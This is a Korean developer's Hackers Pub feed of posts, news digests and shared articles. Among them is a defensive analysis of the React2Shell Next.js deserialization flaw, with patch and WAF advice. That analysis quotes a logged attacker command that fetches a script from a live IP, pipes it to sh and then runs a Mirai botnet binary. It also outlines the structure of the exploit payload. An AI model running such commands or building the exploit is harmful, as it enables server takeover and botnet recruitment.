Profile img

악하

@akastoot@hackers.pub · 143 following · 107 followers

설계 능력 없고 코딩 AI보다 못하고 뭔가 이상한 걸 만들고 있고 (, http://referral.akaiaoon.dev) 매일 커피나 마시는 이제 직장이 없는 SE

GitHub
@IAOON
Referral Project
referral.akaiaoon.dev
3
4

Calling all developers for help: I'm currently trying to implement a () feature for Hackers' Pub, an -enabled community for software engineers. Is there a formal specification for how cross-instance reporting should work in ActivityPub? Or, is there any well-documented material that explains how the major implementations handle it?

2
0
0
1
0
4

악하 shared the below article:

Claude API의 Request Body 분석

자손킴 @jasonkim@hackers.pub

Claude API의 Request는 크게 4가지 분류를 가지고 있다.

  • System Messages
  • Messages
  • Tools
  • Model & Config

각각은 다음과 같은 역할을 한다.

System Messages

System Messages는 Claude에게 역할, 성격, 제약사항 등을 지시하는 최상위 설정이다. 배열 형태로 여러 개의 시스템 메시지를 전달할 수 있다.

"system": [
  {
    "type": "text",
    "text": "You are Claude Code, Anthropic's official CLI for Claude.",
    "cache_control": {
      "type": "ephemeral"
    }
  },
  {
    "type": "text",
    "text": "You are an interactive CLI tool that helps users with software engineering tasks...",
    "cache_control": {
      "type": "ephemeral"
    }
  }
]

System Messages에는 다음과 같은 내용이 포함된다:

  • Claude의 페르소나 및 역할 정의
  • 보안 및 윤리 가이드라인
  • 응답 형식 및 톤 설정
  • 프로젝트 정보 등 컨텍스트
  • cache_control을 통한 캐싱 설정

Messages

Messages는 userassistant 역할이 번갈아가며 주고받은 대화를 누적하는 배열이다. assistant 메시지는 반드시 모델의 실제 응답일 필요가 없다. 이를 활요해 API 호출 시 assistant 메시지를 미리 작성해서 전달하면, Claude는 그 내용 이후부터 이어서 응답한다. 이를 Prefill 기법이라 한다.

이 대화 기록을 통해 Claude는 맥락을 유지하며 응답한다.

"messages": [
  {
    "role": "user",
    "content": [...]
  },
  {
    "role": "assistant",
    "content": [...]
  },
  {
    "role": "user",
    "content": [...]
  }
]

User Message

User의 content는 주로 두 가지 type으로 구성된다:

1. text - 사용자의 일반 메시지나 시스템 리마인더

{
  "role": "user",
  "content": [
    {
      "type": "text",
      "text": "선물을 주고받는 기능을 위한 entity를 설계하라."
    }
  ]
}

2. tool_result - Tool 실행 결과 반환

{
  "role": "user",
  "content": [
    {
      "tool_use_id": "toolu_01Qj7gnFLKWBNjg",
      "type": "tool_result",
      "content": [
        {
          "type": "text",
          "text": "## Entity 구조 탐색 보고서\n\n철저한 탐색을 통해..."
        }
      ]
    }
  ]
}

Assistant Message

Assistant의 content는 주로 세 가지 type으로 구성된다:

1. text - Claude의 응답 메시지

{
  "type": "text",
  "text": "선물 주고받기 기능을 위한 entity 설계를 시작하겠습니다."
}

2. thinking - Extended Thinking 기능 활성화 시 사고 과정 (signature로 검증)

{
  "type": "thinking",
  "thinking": "사용자가 선물을 주고받는 기능을 위한 entity 설계를 요청했습니다...",
  "signature": "EqskYIChgCKknyFYp5cu1zhVOp7kFTJb..."
}

3. tool_use - Tool 호출 요청

{
  "type": "tool_use",
  "id": "toolu_01Qj7gn6vLKCNjg",
  "name": "Task",
  "input": {
    "subagent_type": "Explore",
    "prompt": "이 NestJS TypeScript 프로젝트에서 entity 구조를 탐색해주세요...",
    "description": "Entity 구조 탐색"
  }
}

User와 Assistant의 협력

Tool 사용 흐름은 다음과 같이 진행된다:

  1. Assistant: tool_use로 Tool 호출 요청
  2. User: tool_result로 실행 결과 반환
  3. Assistant: 결과를 바탕으로 text 응답 또는 추가 tool_use

이 과정에서 어떤 Tool을 사용할 수 있는지는 tools 배열이 정의한다.

Tools

Tools는 Claude가 사용할 수 있는 도구들을 정의하는 배열이다. 각 Tool은 name, description, input_schema 세 가지 필드로 구성된다.

Tool의 기본 구조

"tools": [
  {
    "name": "ToolName",
    "description": "Tool에 대한 설명...",
    "input_schema": {
      "type": "object",
      "properties": {...},
      "required": [...],
      "additionalProperties": false,
      "$schema": "http://json-schema.org/draft-07/schema#"
    }
  }
]
필드 설명
name Tool의 고유 식별자. Claude가 tool_use에서 이 이름으로 호출
description Tool의 용도, 사용법, 주의사항 등을 상세히 기술. Claude가 어떤 Tool을 선택할지 판단하는 근거
input_schema JSON Schema 형식으로 입력 파라미터 정의

input_schema 구조

input_schema는 JSON Schema draft-07 스펙을 따르며, Tool 호출 시 필요한 파라미터를 정의한다.

"input_schema": {
  "type": "object",
  "properties": {
    "pattern": {
      "type": "string",
      "description": "The regular expression pattern to search for"
    },
    "path": {
      "type": "string",
      "description": "File or directory to search in. Defaults to current working directory."
    },
    "output_mode": {
      "type": "string",
      "enum": ["content", "files_with_matches", "count"],
      "description": "Output mode: 'content' shows matching lines, 'files_with_matches' shows file paths..."
    },
    "-i": {
      "type": "boolean",
      "description": "Case insensitive search"
    },
    "head_limit": {
      "type": "number",
      "description": "Limit output to first N lines/entries"
    }
  },
  "required": ["pattern"],
  "additionalProperties": false,
  "$schema": "http://json-schema.org/draft-07/schema#"
}

properties 내 각 파라미터 정의

각 파라미터는 다음 필드들로 정의된다:

필드 설명
type 데이터 타입 (string, number, boolean, array, object 등)
description 파라미터의 용도와 사용법 설명
enum (선택) 허용되는 값의 목록. 이 중 하나만 선택 가능
default (선택) 기본값

input_schema의 메타 필드

필드 설명
type 항상 "object"
properties 파라미터 정의 객체
required 필수 파라미터 이름 배열. 여기 포함되지 않은 파라미터는 선택적
additionalProperties false면 정의되지 않은 파라미터 전달 불가
$schema JSON Schema 버전 명시

실제 예시: Grep Tool

{
  "name": "Grep",
  "description": "A powerful search tool built on ripgrep\n\n  Usage:\n  - ALWAYS use Grep for search tasks...",
  "input_schema": {
    "type": "object",
    "properties": {
      "pattern": {
        "type": "string",
        "description": "The regular expression pattern to search for in file contents"
      },
      "path": {
        "type": "string",
        "description": "File or directory to search in (rg PATH). Defaults to current working directory."
      },
      "glob": {
        "type": "string",
        "description": "Glob pattern to filter files (e.g. \"*.js\", \"*.{ts,tsx}\")"
      },
      "output_mode": {
        "type": "string",
        "enum": ["content", "files_with_matches", "count"],
        "description": "Output mode. Defaults to 'files_with_matches'."
      },
      "-A": {
        "type": "number",
        "description": "Number of lines to show after each match"
      },
      "-B": {
        "type": "number",
        "description": "Number of lines to show before each match"
      },
      "-i": {
        "type": "boolean",
        "description": "Case insensitive search"
      },
      "multiline": {
        "type": "boolean",
        "description": "Enable multiline mode. Default: false."
      }
    },
    "required": ["pattern"],
    "additionalProperties": false,
    "$schema": "http://json-schema.org/draft-07/schema#"
  }
}

이 Tool을 Claude가 호출할 때의 tool_use:

{
  "type": "tool_use",
  "id": "toolu_01ABC123",
  "name": "Grep",
  "input": {
    "pattern": "class.*Entity",
    "path": "src/modules",
    "glob": "*.ts",
    "output_mode": "content",
    "-i": true
  }
}

requiredpattern만 있으므로 나머지는 선택적이다. Claude는 input_schemadescription을 참고하여 적절한 파라미터를 선택한다.

Model & Config

마지막으로 모델 선택과 각종 설정 옵션들이다:

{
  "model": "claude-opus-4-5-20251101",
  "max_tokens": 32000,
  "thinking": {
    "budget_tokens": 31999,
    "type": "enabled"
  },
  "stream": true,
  "metadata": {
    "user_id": "user_2f2ce5dbb94ac27c8da0d0b28dddf815fc82be54e0..."
  }
}
옵션 설명
model 사용할 Claude 모델 (claude-opus-4-5, claude-sonnet-4-5 등)
max_tokens 최대 출력 토큰 수
thinking Extended Thinking 설정 (budget_tokens로 사고 토큰 예산 설정)
stream 스트리밍 응답 여부
metadata 사용자 ID 등 메타데이터

마치며

지금까지 Claude API Request Body의 4가지 핵심 구성 요소를 살펴보았다:

  1. System Messages: Claude의 역할과 행동 방식을 정의
  2. Messages: user-assistant 간 대화 기록을 누적하며, tool_use/tool_result를 통해 Tool과 상호작용
  3. Tools: JSON Schema 기반으로 사용 가능한 도구의 이름, 설명, 입력 파라미터를 정의
  4. Model & Config: 모델 선택, 토큰 제한, 스트리밍 등 설정

이 구조를 알면 Claude가 주고받은 메시지를 어떻게 관리하는지, 도구를 어떻게 사용하는지 이해하고 API를 더 효과적으로 활용할 수 있다.

Read more →
3

I was wondering when browsers started calling the UI "chrome" (it's not a Google thing!)

Amazingly, the Firefox (then Mozilla) commit that introduced the "chrome" tree into the source code dates back to Sep 4, 1998... which is also the same day Google was founded!

github.com/mozilla-firefox/fir

Edit: Netscape used the term much earlier though! Not as much in filenames, but in the actual source code it's all over the place.

2
0
0
5

[매장 홍보글 및 이벤트 안내]

안녕하세요 튜링의사과 입니다.🍏
2025년 마지막해를 위해 튜링의사과에서 제이웍스코리아와 함께 Mini 팝업을 진행하고있습니다.
BLACK APPLE - W (단 1주일)

간단한 SNS 이벤트 부터 럭키 draw 이벤트를 진행하고있으니 많은분들이 참여해주시면
다양한 상품을 제공해드리고있습니다.

추가로 방문만해도 굿즈 상품을 드리고 있으니 오셔서 경품기회도 놓치지 마시고
ASUS ROG 키보드, 체리 엑스트리파이, Kiiboom, 에포메이커, 글로리어스, 크리에이티브
인기 상품을 할인 판매 하고있습니다. 많은 관심부탁드립니다.

2

AI가 형식 검증을 주류로 만들 것이다
------------------------------
- *형식 검증(formal verification)* 은 코드가 명세를 항상 만족함을 수학적으로 증명하는 방법으로, 오랫동안 연구 중심의 한정된 영역에 머물러 있었음
- seL4 마이크로커널 등 일부 대형 시스템이 형식 검증으로 개발되었지만, *높은 난이도와 비용* 때문에 산업 현장에서는 거의 사용되지 않았음
- 최근 *LL…
------------------------------
https://news.hada.io/topic?id=25129&utm_source=googlechat&utm_medium=bot&utm_campaign=1834

0

8백만 명 사용자의 AI 대화가 ‘프라이버시’ 확장 프로그램에 의해 수익 목적으로 판매됨
------------------------------
-
Urban VPN Proxy 등 8개 브라우저 확장 프로그램이 *AI 플랫폼 대화 내용을 수집·판매* 한 사실이 확인됨
- 이 확장들은 ChatGPT, Claude, Gemini, Copilot 등 *10개 AI 서비스의 대화 데이터를 자동 수집* 하며, 사용자가 이를 끌 수 있는 옵션이 없음
- 데이터 수집은 VPN 기능과 무관하게 *백그라운드에서…
------------------------------
https://news.hada.io/topic?id=25133&utm_source=googlechat&utm_medium=bot&utm_campaign=1834

0
0

오랜만에 인사드립니다. 새 직장에 들어간지 한달 반정도 됐어요. 잘 적응하고 있는 것 같습니다. 생각보다 c++는 공부하는 재미가 있는 언어였어요. 템플릿 활용하고 메모리 잘 관리해주는데서 은근히 뭐랄까 쾌감이 오는군요...

8
2

악하 shared the below article:

React2Shell 취약점의 특성을 알아보자

고남현 @gnh1201@hackers.pub

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

  1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
  2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
  3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계역직렬화 취약점 사례주요 공통점
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOSCVE-2021-32742 (Vapor)외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

  • https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
  • https://github.com/msanft/CVE-2025-55182/blob/main/poc.py

여기서 알 수 있는 정보는 다음과 같다.

  1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
  2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
  3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
  4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
  5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
  6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
  7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

  • https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

  • https://www.mbsd.jp/research/20251211/react2shell/
  • https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

  • https://github.com/vercel-labs/fix-react2shell-next

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.

Read more →
1
0

많은 우여곡절이 있었지만, "멀티 클라우드로의 전환 2차 개정판"의 번역을 마무리하여 이제 곧 출간을 진행할 예정입니다. 다중 클라우드 서비스를 도입하고 검토하는 것이 새로운 기준이 된 지금 시점에 어떻게 하면 효과적으로 클라우드 플랫폼을 선택하고 정착시킬 수 있을지 고민이 많으신 기업 내 여러 담당자 분들께 좋은 기준점과 인사이트를 드릴 수 있는 콘텐츠로 구성된 책입니다. 현재 예약 판매 중이며, 12월 말부터 순차 배송될 예정입니다. https://product.kyobobook.co.kr/detail/S000218779012 고맙습니다!

3
4

어쩌다 커서, 윈드서프 대신에 오리지널 VS Code + 코파일럿을 쓰고 있는데, AI의 UX 통합이랑 측면에선 이쪽이 더 낫네? 윈드서프는 채팅 UI 벗어나면 잡버그때문에 못쓸 수준이다.

2

서버 운영자라면 꼭 들어야할 개인정보보호 교육 안내

해를 넘기기 전에 들어서 수료증 꼭 받아두세요.

(2025년 기준)

  1. 개인정보배움터 (개인정보보호위원회) 가입: https://edu.privacy.go.kr/

  2. "사업자 온라인교육" 클릭

  3. "AI 투명성 확보 및 개인정보보호 가이드" 강의 청취 후 수료증 발급

  4. 서버 이용 가이드 등 별도 문서에 수료증 링크해두기

불특정 다수를 상대로 서비스 하고 계시고, 주 서비스 지역 및 이용자가 한국인 경우 꼭 들어두세요.

2

즐겁다즐겁다즐겁다

즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다즐겁다

즐겁다즐겁다즐겁다
2

'를 기본으로 사용하면 문장 중간중간에 들어가는 '를 항상 이스케이핑 해줘야되기 때문에 " 를 기본으로 하는게 좋다는 주장에... 승복하고 말았음

1
1
3

지난주 금요일에 Next.js의 보안취약점 cvss 10 (필수패치해야하는) 소식이 나와서 바로 패치대응했다. (App router 방식을 쓰면 무적권 패치해야 한다) 그리고 이번주에는 Cloudflare DNS를 쓰는 곳에 모두 Zero Trust를 도입했고 이제야(?) 마음이 편해졌다.

덧) 허용된 IP 만 By Pass 하거나, 사내 도메인 메일 인증 정책을 추가했다.

1
1
2

단연코 가장 멋진 3D 웹사이트 중 하나
------------------------------
- 웹 개발자
Bruno Simon 이 제작한 3D 포트폴리오 사이트로, 사용자가 *자동차를 운전하며 탐험* 하는 인터랙티브 환경을 제공
- *Three.js* 를 기반으로 구축되어, WebGL과 WebGPU를 모두 활용한 *실시간 3D 렌더링* 을 구현
- 사이트 내에는 *업적 시스템* , *비밀 요소* , *방문자 메시지(Whisper)* 기능…
------------------------------
https://news.hada.io/topic?id=24963&utm_source=googlechat&utm_medium=bot&utm_campaign=1834

0
0

Hackers Pub 송년회 라이트닝토크에서 발표 안하려고 했는데? 뭔가 소소하게 공유할꺼리가 생겼다. 그리고.......... Hackers Pub에서 LLM 활용하는 방법 굉장히 과한 밀도로 공유하게 될 것 같다.... 당장 내가 일하는 회사도 LLM을 엄청 적극적으로 활용하고 있기도 하고, 그걸로 사업하는 회사여서 더욱 가속도가 붙는 것도 있는 듯.

5
7
0
0
0
0

GeekNews Weekly #335 AI가 모든 것을 바꾸는 지금, 우리가 준비해야 할 것들
------------------------------
AI가 심사 평을 작성한 논문이 학회에 넘쳐나고 있고, AI가 대신 코드를 짜주는 걸 잘하게 하기 위한 수많은 팁들이 쏟아지고, AI가 업무 워크 플로우도 바꾸고 있으며, 이로 인해 주니어 채용이 줄어 인재 사다리가 붕괴된다고 합니다.
AI가 실생활과 일하는 방식 전반에 깊이 들어오고 있는 지금, 우리는 무엇을 준비해야…
------------------------------
https://news.hada.io/weekly/202549?utm_source=googlechat&utm_medium=bot&utm_campaign=1834

0

Google에서 14년간 얻은 21가지 교훈
------------------------------
- *뛰어난 엔지니어* 는 최고의 프로그래머가 아니라 *코드 주변의 사람, 정치, 조율, 모호성을 탐색하는 방법을 터득한 사람들* 임
- 기술보다는 *프로젝트와 팀에서 반복적으로 나타나는 패턴* 에 초점을 맞춘 내용으로, 사용자 문제 해결, 팀 협업, 코드 품질, 경력 관리 등을 포괄함
- *명확성이 선임 엔지니…
------------------------------
https://news.hada.io/topic?id=24909&utm_source=googlechat&utm_medium=bot&utm_campaign=1834

0

Z-Image - 강력하고 효율적인 이미지 생성 모델
------------------------------
- *나노 바나나 프로급의 성능* 을 보이는 알리바바의 이미지 생성 모델로 아파치 2.0 라이선스 오픈소스
- 단일 스트림 확산 트랜스포머(Single-Stream Diffusion Transformer)를 기반으로 한 6B 파라미터의 *효율적 이미지 생성 모델*
- 세 가지 버전으로 구성되며, *Z-Image-Turbo* 는 8단계 추론만으로 경쟁…
------------------------------
https://news.hada.io/topic?id=24910&utm_source=googlechat&utm_medium=bot&utm_campaign=1834

0

RSS를 더 재미있게 만들기
------------------------------
- *RSS 피드 기반 웹 탐색 확장 프로그램* 을 제작해, 사용자가 무작위로 독립 웹사이트 콘텐츠를 탐색하고 평가할 수 있도록 구현
- 버튼 클릭으로 새 사이트를 표시하고, *좋아요·싫어요·신고 기능* 을 통해 커뮤니티 기반 추천 구조 형성
- *FastAPI와 SQLite* 를 사용해 백엔드 구성, Kagi의
small web RSS…
------------------------------
https://news.hada.io/topic?id=24911&utm_source=googlechat&utm_medium=bot&utm_campaign=1834

0

Suno, 2주마다 스포티파이 전체 만큼의 음악을 생성
------------------------------
- ‘창작·재생·공유가 모두 가능한 AI 기반 음악 플랫폼’ Suno가 *스포티파이 전체 카탈로그에 맞먹는 규모의 음악을 2주마다 생성* 한다는 투자 설명 자료가 공개됨
- 이번 *약 3,500억 원 규모의 투자(시리즈 C, $250M)* 유치로 기업가치는 *약 3조 4,000억 원 수준(2.45B)* 이 되었으며, 목표는 “고가치·고의?…
------------------------------
https://news.hada.io/topic?id=24912&utm_source=googlechat&utm_medium=bot&utm_campaign=1834

0
2

12() 6() 서울에서 開催(개최)되는 liftIO 2025에서 〈Optique: TypeScript에서 CLI 파서 컴비네이터를 만들어 보았다〉(假題(가제))라는 主題(주제)發表(발표)를 하게 되었습니다. 아직 liftIO 2025 티켓은 팔고 있으니, 函數型(함수형) 프로그래밍에 關心(관심) 있으신 분들의 많은 參與(참여) 바랍니다!

9
0
0

악하 shared the below article:

압축 요청 헤더 지원 여부에 따른 HTTP Client 이중화

고남현 @gnh1201@hackers.pub

이 글에서는 .NET 환경에서 HTTP를 통한 파일 전송 시 압축을 활용하여 로딩 시간을 단축하는 방법에 대해 설명합니다. 특히, `Accept-Encoding` 헤더를 이용한 압축 요청이 서비스별로 다르게 처리될 수 있는 문제점을 지적하고, 이를 해결하기 위해 HTTP Client를 이중화하는 방법을 제시합니다. 미리 압축된 파일을 우선적으로 다운로드하고, 실패 시 압축 요청 헤더를 포함한 요청을 보내는 방식으로 압축 전송을 보장합니다. 실제 적용 사례인 `AssemblyLoader.cs` 파일의 예시를 통해, 이 방법이 어떻게 라이브러리 로딩 속도를 향상시키는지 확인할 수 있습니다. 이 글은 네트워크를 통한 라이브러리 로딩 시 안정성 확보와 성능 향상을 동시에 추구하는 개발자에게 유용한 인사이트를 제공합니다.

Read more →
1
0

8개월간 5개의 LLM에 1.4억원씩 맡겨 주식 거래를 시뮬레이션한 실험
------------------------------
- *GPT-5, Claude, Gemini, Grok, DeepSeek* 등 5개의 대형 언어모델이 실제 시장 데이터를 기반으로 8개월간 *가상 주식 거래* 를 수행
- 각 모델은 *10만 달러의 모의 자금* 으로 주요 종목을 일일 단위로 거래하며, 모든 의사결정과 포트폴리오 변화를 기록
- 결과적으로 *Grok이 최고 수익률* , *DeepSeek…
------------------------------
https://news.hada.io/topic?id=24864&utm_source=googlechat&utm_medium=bot&utm_campaign=1834

0